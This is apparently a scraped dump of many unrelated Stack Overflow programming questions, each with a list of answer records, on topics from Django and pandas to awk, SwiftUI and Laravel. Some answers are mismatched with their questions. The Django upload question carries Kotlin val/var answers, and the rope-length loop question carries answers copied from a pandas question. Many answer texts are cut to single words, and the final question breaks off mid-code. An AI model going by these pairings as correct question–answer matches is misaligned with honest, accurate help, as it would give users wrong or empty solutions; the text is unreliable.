<p>[views.py]</p>
<pre class="lang-py prettyprint-override"><code>from django.shortcuts import render, redirect
from .models import Vessel
from .forms import UploadForm
def put_deposit(request):
if request.POST:
form = UploadForm(request.POST)
print(request)
if form.is_valid():
form.save()
redirect(index)
return render(request, 'upload.html', {'form' : UploadForm})
</code></pre>
<p>[upload.html]</p>
<pre class="lang-html prettyprint-override"><code><p> Upload </p>
<form method="POST" action="{% url 'put_deposit' %}" enctype="multipart/form-data">
{% csrf_token %}
{{form}}
<button> Submit </button>
</form>
</code></pre>
<p>Maybe I have any kind of dependency wrong or is it a problem with a key?</p>
|
[
{
"answer_id": 74466012,
"author": "JustSightseeing",
"author_id": 15749574,
"author_profile": "https://Stackoverflow.com/users/15749574",
"pm_score": 1,
"selected": true,
"text": "val a: Int = 1 // this is a VALUE, you cannot change the value of \"val\"\nval b = 2 // this is also a value\nvar c = 2 // this is a variable, you can change the value of c\nc = 5 // like I did here\n\nvar name: Boolean = false // and that's what I think you've tried to do\n"
},
{
"answer_id": 74466018,
"author": "Mark McClelland",
"author_id": 315702,
"author_profile": "https://Stackoverflow.com/users/315702",
"pm_score": 1,
"selected": false,
"text": "type variableName = value;"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466074",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20523327/"
] |
74,466,086
|
<p>example dictionary:</p>
<pre><code>sample_dict = {'doctor': {'docter_a': 26, 'docter_b': 40, 'docter_c': 42},
'teacher': {'teacher_x': 21, 'teacher_y': 45, 'teacher_z': 33}}
</code></pre>
<p>output dataframe:</p>
<pre><code>job person age
doctor |doctor_a | 26
doctor |doctor_b | 40
doctor |doctor_c | 42
teacher|teacher_x| 21
teacher|teacher_y| 45
teacher|teacher_z| 33
</code></pre>
<p>I have tried:</p>
<pre><code>df = pd.dataFrame.from_dict(sample_dict)
</code></pre>
<p>=></p>
<pre><code> doctor teacher
doctor_a | 26 | Nah
doctor_b | 40 | Nah
doctor_c | 42 | Nah
teacher_x | Nah | 21
teacher_y | Nah | 45
teacher_z | Nah | 33
</code></pre>
<p>Could someone help me figure this out?</p>
|
[
{
"answer_id": 74466322,
"author": "Nuri Taş",
"author_id": 19255749,
"author_profile": "https://Stackoverflow.com/users/19255749",
"pm_score": 1,
"selected": false,
"text": "zip"
},
{
"answer_id": 74466544,
"author": "mozway",
"author_id": 16343464,
"author_profile": "https://Stackoverflow.com/users/16343464",
"pm_score": 2,
"selected": false,
"text": "pd.DataFrame([[k1, k2, v]\n for k1,d in sample_dict.items() \n for k2,v in d.items()],\n columns=['job', 'person', 'age'])\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466086",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/18976874/"
] |
74,466,125
|
<p>Pyhton is new to me and i'm having a little problem with the for loops,<br />
Im used to for loop in java where you can set integers as you like in the loops but can't get it right in python.<br />
the task i was given is to make a function that return True of False.<br />
the function get 3 integers: short rope amount, long rope amount and wanted.<br />
it's known the short rope length is 1 meter and the long rope length is 5 meters.<br />
if the wanted length is in range of the possible lengths of the ropes the function will return True, else false,<br />
for example, 1 short rope and 2 long ropes can get you the following length: [1, 5, 6, 10, 11] and if the wanted length that the function got is in this list of lengths it should return True.<br />
here is my code:</p>
<pre><code>def wantedLength(short_amount, long_amount, wanted_length):
short_rope_length = 1
long_rope_length = 5
for i in range(short_amount + 1):
for j in range(long_amount + 1):
my_length = [short_rope_length * i + long_rope_length * j, ", "]
if wanted_length in my_length:
return True
else:
return False
</code></pre>
<p>but when I run the code I get the following error:<br />
TypeError: argument of type 'int' is not iterable</p>
<p>what am I doing wrong in the for loop statement?<br />
thanks in advance!</p>
<p>I tried to change the for loops with other commands like [short_amount] and etc</p>
<p>the traceback as requsted:</p>
<pre><code>Traceback (most recent call last):
File "C:\Users\barva\PycharmProjects\Giraffe\Ariel-Exc\Exc_2.py", line 89, in <module>
print(wantedLength(a,b,c))
File "C:\Users\barva\PycharmProjects\Giraffe\Ariel-Exc\Exc_2.py", line 73, in wantedLength
if wanted_length in my_length:
TypeError: argument of type 'int' is not iterable
</code></pre>
|
[
{
"answer_id": 74466322,
"author": "Nuri Taş",
"author_id": 19255749,
"author_profile": "https://Stackoverflow.com/users/19255749",
"pm_score": 1,
"selected": false,
"text": "zip"
},
{
"answer_id": 74466544,
"author": "mozway",
"author_id": 16343464,
"author_profile": "https://Stackoverflow.com/users/16343464",
"pm_score": 2,
"selected": false,
"text": "pd.DataFrame([[k1, k2, v]\n for k1,d in sample_dict.items() \n for k2,v in d.items()],\n columns=['job', 'person', 'age'])\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466125",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20523368/"
] |
74,466,141
|
<p>I have a database with workers and their names. How can I get a list of the workers whose name contains only 5 characters</p>
|
[
{
"answer_id": 74466184,
"author": "Mehedi Hasan",
"author_id": 19207212,
"author_profile": "https://Stackoverflow.com/users/19207212",
"pm_score": 1,
"selected": true,
"text": "SELECT * FROM table_name WHERE island_name LIKE '_____'\n"
},
{
"answer_id": 74466355,
"author": "alexherm",
"author_id": 10012519,
"author_profile": "https://Stackoverflow.com/users/10012519",
"pm_score": -1,
"selected": false,
"text": "LENGTH"
},
{
"answer_id": 74466491,
"author": "Sean Bloch",
"author_id": 20187370,
"author_profile": "https://Stackoverflow.com/users/20187370",
"pm_score": -1,
"selected": false,
"text": "SUBSTRING()"
},
{
"answer_id": 74647911,
"author": "Sean Bloch",
"author_id": 20187370,
"author_profile": "https://Stackoverflow.com/users/20187370",
"pm_score": 0,
"selected": false,
"text": "SELECT * FROM table_name WHERE REPLICATE('A',LEN(island_name)) = 'AAAAA'\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466141",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
74,466,153
|
<p>I have a .csv where each row corresponds to a person (first column) and attributes with values that are available for that person. I want to extract the names and values a particular attribute for persons where the attribute is available. The doc is structured as follows:</p>
<pre><code>name,attribute1,value1,attribute2,value2,attribute3,value3
joe,height,5.2,weight,178,hair,
james,,,,,,
jesse,weight,165,height,5.3,hair,brown
jerome,hair,black,breakfast,donuts,height,6.8
</code></pre>
<p>I want a file that looks like this:</p>
<pre><code>name,attribute,value
joe,height,5.2
jesse,height,5.3
jerome,height,6.8
</code></pre>
<p>Using <a href="https://stackoverflow.com/questions/24379059/grep-and-print-only-matching-word-and-the-next-words">this earlier post</a>, I've tried a few different <code>awk</code> methods but am still having trouble getting both the first column and then whatever column has the desired value for the attribute (say height). For example the following returns everything.</p>
<pre><code>awk -F "height," '{print $1 "," FS$2}' file.csv
</code></pre>
<p>I could <code>grep</code> only the rows with height in them, but I'd prefer to do everything in a single line if I can.</p>
|
[
{
"answer_id": 74466268,
"author": "markp-fuso",
"author_id": 7366100,
"author_profile": "https://Stackoverflow.com/users/7366100",
"pm_score": 2,
"selected": false,
"text": "awk"
},
{
"answer_id": 74466276,
"author": "M. Nejat Aydin",
"author_id": 13809001,
"author_profile": "https://Stackoverflow.com/users/13809001",
"pm_score": 2,
"selected": false,
"text": "sed"
},
{
"answer_id": 74466356,
"author": "anubhava",
"author_id": 548225,
"author_profile": "https://Stackoverflow.com/users/548225",
"pm_score": 3,
"selected": true,
"text": "awk"
},
{
"answer_id": 74466489,
"author": "Gilles Quenot",
"author_id": 465183,
"author_profile": "https://Stackoverflow.com/users/465183",
"pm_score": 2,
"selected": false,
"text": "$ perl -lne '\n print \"name,attribute,value\" if $.==1;\n print \"$1,$2\" if /^(\\w+).*(height,\\d+\\.\\d+)/\n' file\n"
},
{
"answer_id": 74468928,
"author": "Dave Pritlove",
"author_id": 2005666,
"author_profile": "https://Stackoverflow.com/users/2005666",
"pm_score": 2,
"selected": false,
"text": "awk"
},
{
"answer_id": 74470601,
"author": "RavinderSingh13",
"author_id": 5866580,
"author_profile": "https://Stackoverflow.com/users/5866580",
"pm_score": 2,
"selected": false,
"text": "awk"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466153",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/6878762/"
] |
74,466,196
|
<p>For my job I have large amount of excel files in which I have to replace certain values.
I just started with openpyxl and tried the following code:</p>
<pre><code>import openpyxl
from openpyxl import load_workbook
wb1 = load_workbook(filename = 'testfile.xlsx')
ws1 = wb1.active
i = 0
for r in range(1,ws1.max_row+1):
for c in range(1,ws1.max_column+1):
s = ws1.cell(r,c).value
if s != None or 'NM181841' in s:
ws1.cell(r,c).value = s.replace("hello","hi")
print("row {} col {} : {}".format(r,c,s))
i += 1
wb.save('targetfile.xlsx')
print("{} cells updated".format(i))
</code></pre>
<p>On which I get following error "TypeError: argument of type 'NoneType' is not iterable" this happends in line five: <code>if s != None or 'NM181841' in s:</code></p>
<p>Does anyone have an idea what I did wrong?</p>
<p>Thanks!</p>
|
[
{
"answer_id": 74466358,
"author": "MwBakker",
"author_id": 4895256,
"author_profile": "https://Stackoverflow.com/users/4895256",
"pm_score": 1,
"selected": false,
"text": "or 'NM181841' in s:\n"
},
{
"answer_id": 74466404,
"author": "Neuquert",
"author_id": 20368453,
"author_profile": "https://Stackoverflow.com/users/20368453",
"pm_score": 0,
"selected": false,
"text": "s = ws1.cell(r,c).value"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466196",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20368453/"
] |
74,466,209
|
<p>I'm trying to only return array values that contain a specific phrase in the string of 'Corp'</p>
<p>This returns all the values, but I only need the ones that contain "Corp"</p>
<pre><code>var url = "/iaas/api/image-profiles";
System.debug("getImageProfiles url: "+url);
var response=System.getModule("pso.vra.util.rest").genericRestAPI(url,null,null);
var responseJSON=JSON.parse(response.contentAsString);
System.log("Response : "+JSON.stringify(responseJSON));
var imageProfilesContent=responseJSON.content;
var imageProfiles = [];
System.log("Checking : "+Object.keys(responseJSON.content[0].imageMappings.mapping));
var imageProfiles = JSON.stringify(Object.keys(responseJSON.content[0].imageMappings.mapping));
System.log(imageProfiles);
return JSON.parse(imageProfiles);
</code></pre>
<pre><code>0 Windows Server 2022
1 Windows Server 2019
2 Windows Server 2022 - Corp
3 Windows Server 2019 - Corp
4 Rhel8 - Corp
5 Rhel8
...
</code></pre>
<p>I tried using filter() but could not figure out how to use it.</p>
|
[
{
"answer_id": 74466358,
"author": "MwBakker",
"author_id": 4895256,
"author_profile": "https://Stackoverflow.com/users/4895256",
"pm_score": 1,
"selected": false,
"text": "or 'NM181841' in s:\n"
},
{
"answer_id": 74466404,
"author": "Neuquert",
"author_id": 20368453,
"author_profile": "https://Stackoverflow.com/users/20368453",
"pm_score": 0,
"selected": false,
"text": "s = ws1.cell(r,c).value"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466209",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/12815216/"
] |
74,466,233
|
<p>I am able to check for a specific column if it exists using '<code>contains</code>' in <code>dplyr</code> .
I struggle with evaluating the summary of the expression if it does not exist.</p>
<p>Here is my code snippet:</p>
<pre><code> df <- Prod%>%
group_by(Entity)%>%
select(Entity,`Cum.Oil`,`Cum.Gas`,contains("EUR")%>%
summarise(Oil = mean(`Cum.Oil`), Gas = mean(`Cum.Gas`), EUR=mean(EUR))
</code></pre>
<p>How can I ignore 'EUR' expression in the summarise expression if the EUR column does not exist?</p>
|
[
{
"answer_id": 74466326,
"author": "Juan C",
"author_id": 9462829,
"author_profile": "https://Stackoverflow.com/users/9462829",
"pm_score": 3,
"selected": true,
"text": "df <- Prod%>%\n group_by(Entity)%>%\n summarise(across(any_of(c('Cum.Oil', 'Cum.Gas', 'Eur')), ~mean(.x), \n .names = '{.col %>% str_remove(\"Cum.\")}' )\n"
},
{
"answer_id": 74466518,
"author": "asd-tm",
"author_id": 5043424,
"author_profile": "https://Stackoverflow.com/users/5043424",
"pm_score": 1,
"selected": false,
"text": "ifelse"
},
{
"answer_id": 74466704,
"author": "TimTeaFan",
"author_id": 9349302,
"author_profile": "https://Stackoverflow.com/users/9349302",
"pm_score": 1,
"selected": false,
"text": "purrr::when()"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466233",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11397513/"
] |
74,466,303
|
<pre><code>for(x=0; x<100; x++);
printf(“%d”,x);
</code></pre>
<p>why it gives 100</p>
<p>(i) Identify bug/bugs in this program segment
(ii) Write a correct version of this program segment</p>
<p>I tried</p>
<pre><code>for(x=0; x<100; x++){
printf(“%d”,x);}
</code></pre>
<p>ı can see all numbers 0 to 100 but</p>
<pre><code>for(x=0; x<100; x++);
printf(“%d”,x);
</code></pre>
<p>ı can see only 100 why ? ı dont know the reason</p>
|
[
{
"answer_id": 74466366,
"author": "David",
"author_id": 328193,
"author_profile": "https://Stackoverflow.com/users/328193",
"pm_score": 2,
"selected": false,
"text": "for(x=0; x<100; x++);\nprintf(\"%d\",x);\n"
},
{
"answer_id": 74466408,
"author": "ArcticIce",
"author_id": 3732517,
"author_profile": "https://Stackoverflow.com/users/3732517",
"pm_score": 1,
"selected": false,
"text": "for(x=0; x<100; x++); printf(“%d”,x);\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466303",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/19653652/"
] |
74,466,374
|
<p>I'm not totally sure if I'm using the correct terminology or not, I'm relatively new to node.</p>
<p>I have two JSON objects</p>
<pre class="lang-js prettyprint-override"><code>const objA = {
key1: value1
...
}
const objB = {
key2: value2
...
}
</code></pre>
<p>that I want to combine into one while keeping the two object names, so it would look a bit like:</p>
<pre class="lang-js prettyprint-override"><code>const newObj = {objA: { key1: value1,...}, objB: { key2: value2,...}}
</code></pre>
<p>So far in my research I've found <code>Object.assign(objA,objB)</code> which just combines them as <code>newObj = {key1: value1, key2: value2, ...}</code></p>
<p>Is there a way to do what I want?</p>
|
[
{
"answer_id": 74466423,
"author": "Shawn",
"author_id": 14361465,
"author_profile": "https://Stackoverflow.com/users/14361465",
"pm_score": 2,
"selected": true,
"text": "const newObj = {objA, objB};\n"
},
{
"answer_id": 74466573,
"author": "DᴀʀᴛʜVᴀᴅᴇʀ",
"author_id": 1952287,
"author_profile": "https://Stackoverflow.com/users/1952287",
"pm_score": 0,
"selected": false,
"text": "key"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466374",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3413122/"
] |
74,466,385
|
<p>As posted in this question: <a href="https://stackoverflow.com/questions/71661838/hide-dropdown-menu-on-click-in-css">Hide dropdown menu on click in CSS</a>, I'm looking for a CSS-only way to hide a popup/dropdown menu when one of the links is clicked. An <a href="https://stackoverflow.com/a/71663358/17247581">answer</a> was given by <a href="https://stackoverflow.com/users/17548824/abhijeet-vadera">Abhijeet Vadera</a> that is <em>almost</em> a great answer - except links in the dropdown menu don't actually do anything/go anywhere. I copied and pasted the code into a test page I've been working on and modified the targets in the links. The dropdown <em>does</em> pop up when hovering over the button, but clicking any of the links does absolutely nothing other than hiding the dropdown.</p>
<p>Does anyone know why this is and (especially) how to make it work? So close....</p>
<p>P.S. Stackoverflow text below my answer on that question tells me that I should ask my own question rather than commenting on another answer or seeking clarification, so that's what I'm doing.</p>
|
[
{
"answer_id": 74466423,
"author": "Shawn",
"author_id": 14361465,
"author_profile": "https://Stackoverflow.com/users/14361465",
"pm_score": 2,
"selected": true,
"text": "const newObj = {objA, objB};\n"
},
{
"answer_id": 74466573,
"author": "DᴀʀᴛʜVᴀᴅᴇʀ",
"author_id": 1952287,
"author_profile": "https://Stackoverflow.com/users/1952287",
"pm_score": 0,
"selected": false,
"text": "key"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466385",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/17247581/"
] |
74,466,396
|
<p>If I have a list of names in a sheet for example:</p>
<pre><code>First Name|Last Name|Something else|
Maria|Miller|...|
John|Doe|...|
Maria|Smith|...|
Marc|Meier|...|
Marc|Park|...|
Maria|Muster|...|
Selene|Mills|...|
Adam|Broker|...|
</code></pre>
<p>And then I want a second sheet which then shows the list of non-unique first names and their count, and the list being in descending order. So in this example that would be:</p>
<pre><code>First Name|Count
Maria|3
Marc|2
</code></pre>
<p>What I found was this example <a href="https://infoinspired.com/google-docs/spreadsheet/sort-by-number-of-occurrences-in-google-sheets/" rel="nofollow noreferrer">https://infoinspired.com/google-docs/spreadsheet/sort-by-number-of-occurrences-in-google-sheets/</a>
which sorts of partitions the sheet entries by occurrence.</p>
<p>So as of now I have</p>
<pre><code>=UNIQUE(sort(
Names!C3:Names!C12000;
if(len(Names!C3:Names!C12000);countif(Names!C3:Names!C12000;Names!C3:Names!C12000););
0;
2;
1
))
</code></pre>
<p>In the first column and</p>
<pre><code>=IF(ISBLANK(A2);;COUNTIF(Names!C3:Names!C12000; A2))
</code></pre>
<p>In the second. This does the job somewhat (it still shows the names with count 1), but the second column needs a copying of each cell downwards for each new entry leftwards. Is there a way to tie this up directly in one line? While filtering out the unique occurrences at that.
(Also the formulas are quite slow. The names sheet has about 11k entries so far. These formulas make the sheet crash at times atm. So I kind of want to sorts of comment out the formulas most of the time and only display them by commenting out the formulas. So the second column also just being one formula would be very helpful.)</p>
|
[
{
"answer_id": 74466423,
"author": "Shawn",
"author_id": 14361465,
"author_profile": "https://Stackoverflow.com/users/14361465",
"pm_score": 2,
"selected": true,
"text": "const newObj = {objA, objB};\n"
},
{
"answer_id": 74466573,
"author": "DᴀʀᴛʜVᴀᴅᴇʀ",
"author_id": 1952287,
"author_profile": "https://Stackoverflow.com/users/1952287",
"pm_score": 0,
"selected": false,
"text": "key"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466396",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1777566/"
] |
74,466,401
|
<p>I got more of a general question today. I am a self-taught programmer and do it on a hobby-base for small private projects.
What is hard to learn from tutorials and documentation is how to properly structure code.</p>
<p>In case of React.js I often find myself with hundreds of lines of code within a single page or component.</p>
<p>Given the following example: There is a page with a form, which contains different, changeable values (dates, booleans, numbers, strings = all different type of data format).
These are "saved" within a single React.useState as object named "values" with attributes like "date", "startTime", "specialDay", "persons" etc..
When one of these is changed, others might change as well, which require some logic (e.g. if date changed, get all other values updated from database). Or sometimes, I want to change a single nested attribute (e.g. values.person[1].points) which leads in dozens of lines of code within a single React.useEffect()-call (which I need multiple of).</p>
<p>I thought of exporting these things in an extra file but that did not work at all because of the nature of hooks and the tight relationship to the components. From my understanding, this is not "business-logic" since it's mainly "how to set state"-logic.</p>
<p>I don't even know, if my problem is (the way I described it) understandable by anyone but my self.</p>
<p>Maybe in short: If I need a lot of logic, computing and conditional/dynamic state-changing in React pages and components, what might be the best way to structure this?</p>
|
[
{
"answer_id": 74466570,
"author": "ray",
"author_id": 636077,
"author_profile": "https://Stackoverflow.com/users/636077",
"pm_score": 3,
"selected": true,
"text": "useState"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466401",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11702317/"
] |
74,466,407
|
<p>Using the above code, I have created 5 five subplots:</p>
<pre><code>values = {"x_values" : ["ENN", "CNN", "ENN-CNN"],
"eu" : [11, 79.97, 91],
"man" : [11, 80, 90],
"min3" : [11, 79.70, 90],
"min4" : [11, 79.50, 90],
"che" : [12, 78, 89]}
df = pd.DataFrame(data=values)
fig, axs = plt.subplots(2, 3, figsize=(10,6))
eu = axs[0, 0].bar(df["x_values"], df["eu"]
man = axs[0, 1].bar(df["x_values"], df["man"])
min3 = axs[0, 2].bar(df["x_values"], df["min3"])
min4 = axs[1, 0].bar(df["x_values"], df["min4"])
che = axs[1, 1].bar(df["x_values"], df["che"])
fig.delaxes(axs[1, 2])
</code></pre>
<p>They print as they should, but I also want to add to the bars the y value of every bar. Just like in the picture
<a href="https://i.stack.imgur.com/2QDFf.png" rel="nofollow noreferrer">enter image description here</a></p>
<p>I have tried the code below, but it doesn't print anything, no error but also no print</p>
<pre><code>for index, value in enumerate(df["corresponding_df"]):
plt.text(value, index, str(value))
</code></pre>
<p>If I try <code>variable-name.text(value, index, str(value))</code> I get error <code>'BarContainer' object has no attribute 'text'</code>. If <code>fig.text</code> again not print. If <code>axs[subplot-index].text</code> I can only see a number at the end of the window outside the plots. Any suggestion?</p>
|
[
{
"answer_id": 74466554,
"author": "Scott Boston",
"author_id": 6361531,
"author_profile": "https://Stackoverflow.com/users/6361531",
"pm_score": 3,
"selected": true,
"text": "values = {\"x_values\" : [\"ENN\", \"CNN\", \"ENN-CNN\"],\n\"eu\" : [11, 79.97, 91],\n\"man\" : [11, 80, 90],\n\"min3\" : [11, 79.70, 90],\n\"min4\" : [11, 79.50, 90],\n\"che\" : [12, 78, 89]}\n\ndf = pd.DataFrame(data=values)\n\nfig, axs = plt.subplots(2, 3, figsize=(10,6))\n\neu = axs[0, 0].bar(df[\"x_values\"], df[\"eu\"])\naxs[0,0].bar_label(eu)\nman = axs[0, 1].bar(df[\"x_values\"], df[\"man\"])\naxs[0,1].bar_label(man)\nmin3 = axs[0, 2].bar(df[\"x_values\"], df[\"min3\"])\naxs[0,2].bar_label(min3)\nmin4 = axs[1, 0].bar(df[\"x_values\"], df[\"min4\"])\naxs[1,0].bar_label(min4)\nche = axs[1, 1].bar(df[\"x_values\"], df[\"che\"])\naxs[1,1].bar_label(che)\nfig.delaxes(axs[1, 2])\n"
},
{
"answer_id": 74466756,
"author": "SergFSM",
"author_id": 18344512,
"author_profile": "https://Stackoverflow.com/users/18344512",
"pm_score": 1,
"selected": false,
"text": "for ax in axs.flatten():\n for bar in ax.patches:\n ax.text(bar.get_x() + bar.get_width() / 2, \n bar.get_height()-7,\n bar.get_height(), \n ha='center',\n color='w')\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466407",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/17343927/"
] |
74,466,422
|
<p>My goal is to get the previous 3 Mondays in date format <code>2022-01-31</code> based off a date.</p>
<p>I know I can use the following to get 1 monday.</p>
<p>So for example today is 2022-11-16 and monday was 2022-11-14</p>
<pre><code>library(lubridate)
todays_date <- as.Date('2022-11-16')
floor_date(todays_date, 'week') + 1
</code></pre>
<p>I can also do <code>- 6</code> to get last week monday's but if "today's date" changes then will that also change?</p>
<pre><code>floor_date(todays_date, 'week') - 6
</code></pre>
<p>Desired Goal</p>
<p>Date Give = 2022-11-16</p>
<ul>
<li>first_monday = 2022-11-14</li>
<li>second_monday = 2022-11-07</li>
<li>third_monday = 2022-10-31</li>
<li>fourth_monday = 2022-10-24</li>
</ul>
|
[
{
"answer_id": 74466554,
"author": "Scott Boston",
"author_id": 6361531,
"author_profile": "https://Stackoverflow.com/users/6361531",
"pm_score": 3,
"selected": true,
"text": "values = {\"x_values\" : [\"ENN\", \"CNN\", \"ENN-CNN\"],\n\"eu\" : [11, 79.97, 91],\n\"man\" : [11, 80, 90],\n\"min3\" : [11, 79.70, 90],\n\"min4\" : [11, 79.50, 90],\n\"che\" : [12, 78, 89]}\n\ndf = pd.DataFrame(data=values)\n\nfig, axs = plt.subplots(2, 3, figsize=(10,6))\n\neu = axs[0, 0].bar(df[\"x_values\"], df[\"eu\"])\naxs[0,0].bar_label(eu)\nman = axs[0, 1].bar(df[\"x_values\"], df[\"man\"])\naxs[0,1].bar_label(man)\nmin3 = axs[0, 2].bar(df[\"x_values\"], df[\"min3\"])\naxs[0,2].bar_label(min3)\nmin4 = axs[1, 0].bar(df[\"x_values\"], df[\"min4\"])\naxs[1,0].bar_label(min4)\nche = axs[1, 1].bar(df[\"x_values\"], df[\"che\"])\naxs[1,1].bar_label(che)\nfig.delaxes(axs[1, 2])\n"
},
{
"answer_id": 74466756,
"author": "SergFSM",
"author_id": 18344512,
"author_profile": "https://Stackoverflow.com/users/18344512",
"pm_score": 1,
"selected": false,
"text": "for ax in axs.flatten():\n for bar in ax.patches:\n ax.text(bar.get_x() + bar.get_width() / 2, \n bar.get_height()-7,\n bar.get_height(), \n ha='center',\n color='w')\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466422",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/12512712/"
] |
74,466,453
|
<p>I need to filter my model data with a search bar. I added the <code>.searchable()</code> property and when the search text changes I filter my objects with fuzzy matching. This takes too much time and the app lags when writing into the search box. So I want to do the searching asynchronously so that the app doesn't freeze.</p>
<p>I tried to do it with the <code>onChange(of:)</code> property and then I create a <code>Task</code> that runs the async function because the <code>onChange()</code> property doesn't allow async functions by themselves. But the app still lags.</p>
<p>Here is a code example of how I tried doing it:</p>
<pre class="lang-swift prettyprint-override"><code>import SwiftUI
import Fuse
struct SearchView: View {
@EnvironmentObject var modelData: ModelData
@State var searchText = ""
@State var searchResults: [Item] = []
@State var searchTask: Task<(), Never>? = nil
let fuseSearch = Fuse()
var body: some View {
// Show search results
}
.searchable(text: $searchText)
.onChange(of: searchText) { newQuery in
// Cancel if still searching
searchTask?.cancel()
searchTask = Task {
searchResults = await fuzzyMatch(items: modelData.items, searchText: newQuery)
}
}
func fuzzyMatch(items: [Item], searchText: String) async -> [Item] {
filteredItems = items.filter {
(fuseSearch.search(searchText, in: $0.name)?.score ?? 1) < 0.25
}
return filteredItems
}
}
</code></pre>
<p>I would really appreciate some help.</p>
|
[
{
"answer_id": 74467409,
"author": "Volkan Sonmez",
"author_id": 4888710,
"author_profile": "https://Stackoverflow.com/users/4888710",
"pm_score": 3,
"selected": true,
"text": " struct Example: View {\n\n @State var searchText = \"\"\n let searchTextPublisher = PassthroughSubject<String, Never>()\n \n var body: some View {\n NavigationView {\n Text(\"Test\")\n }\n .searchable(text: $searchText)\n .onChange(of: searchText) { searchText in\n searchTextPublisher.send(searchText)\n }\n .onReceive(\n searchTextPublisher\n .debounce(for: .milliseconds(500), scheduler: DispatchQueue.main)\n ) { debouncedSearchText in\n print(\"call your filter method\")\n }\n }\n}\n"
},
{
"answer_id": 74467829,
"author": "Rob",
"author_id": 1271826,
"author_profile": "https://Stackoverflow.com/users/1271826",
"pm_score": 0,
"selected": false,
"text": "Task.sleep"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466453",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/15550053/"
] |
74,466,481
|
<p>I have two data tables <code>vehicles</code> and <code>trips</code>, which have a one to many relationship and allow for multiple trips per vehicle. <code>route</code> is a column in the <code>trips</code> table. I want to see the vehicle list for a specific route, so I ran the following query.</p>
<pre><code>$trips = Trip::with('vehicle')
->where('route', $route)
->get()->pluck('vehicle');
</code></pre>
<p>It work's fine, returns a vehicle collection. Now that I have the vehicle collection I want the active trip information with every vehicle model. I tried the following query.</p>
<pre><code>$trips = Trip::with('vehicle', ['vehicle.activeTrip' => function ($query) {
$query->where('status', 0);
}])
->where('route', $route)
->get()->pluck('vehicle');
</code></pre>
<p><code>status = 0</code> indicates an active trip. But it is unsuccessful anyway. I got an error with the message <code>Method name must be a string</code>. Can anyone assist me in resolving my problem?</p>
|
[
{
"answer_id": 74467409,
"author": "Volkan Sonmez",
"author_id": 4888710,
"author_profile": "https://Stackoverflow.com/users/4888710",
"pm_score": 3,
"selected": true,
"text": " struct Example: View {\n\n @State var searchText = \"\"\n let searchTextPublisher = PassthroughSubject<String, Never>()\n \n var body: some View {\n NavigationView {\n Text(\"Test\")\n }\n .searchable(text: $searchText)\n .onChange(of: searchText) { searchText in\n searchTextPublisher.send(searchText)\n }\n .onReceive(\n searchTextPublisher\n .debounce(for: .milliseconds(500), scheduler: DispatchQueue.main)\n ) { debouncedSearchText in\n print(\"call your filter method\")\n }\n }\n}\n"
},
{
"answer_id": 74467829,
"author": "Rob",
"author_id": 1271826,
"author_profile": "https://Stackoverflow.com/users/1271826",
"pm_score": 0,
"selected": false,
"text": "Task.sleep"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466481",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20242711/"
] |
74,466,503
|
<p>I use Manjaro Linux, DISTRIB_RELEASE=22.0.0, GNOME 43.1, Kernel 5.19.17-2, and I used zsh.</p>
<p>I decided to learn C++, but I ran into a problem. If I didn't add <code>std::endl</code> when outputting to the console, the symbol "%" is added.</p>
<p>See the screenshots attached.</p>
<p>Code1:</p>
<pre><code>#include <iostream>
int main()
{
int age;
age = 28;
std::cout << "Age = " << age;
return 0;
}
</code></pre>
<p><a href="https://i.stack.imgur.com/cHGPR.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/cHGPR.png" alt="Result1" /></a></p>
<p>Code2:</p>
<pre><code>#include <iostream>
int main()
{
int age;
age = 28;
std::cout << "Age = " << age << std::endl;
return 0;
}
</code></pre>
<p><a href="https://i.stack.imgur.com/SFY35.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/SFY35.png" alt="Result2" /></a></p>
<p>Why is this happening? All I tried was just adding <code>std::endl</code>. I want to know why the "%" symbol is being added.</p>
|
[
{
"answer_id": 74473693,
"author": "user1934428",
"author_id": 1934428,
"author_profile": "https://Stackoverflow.com/users/1934428",
"pm_score": 1,
"selected": false,
"text": "%"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466503",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20523467/"
] |
74,466,504
|
<p>New to Python I'm struggling with the problem to assign some random IDs to "related" rows
where the relation is simply their proximity (within 14 days) in consecutive days grouped by user. In that example I chose <code>uuid</code>without any specific intention. It could be any other random IDs uniquely indentifying conceptually related rows.</p>
<pre><code> import pandas as pd
import uuid
import numpy as np
</code></pre>
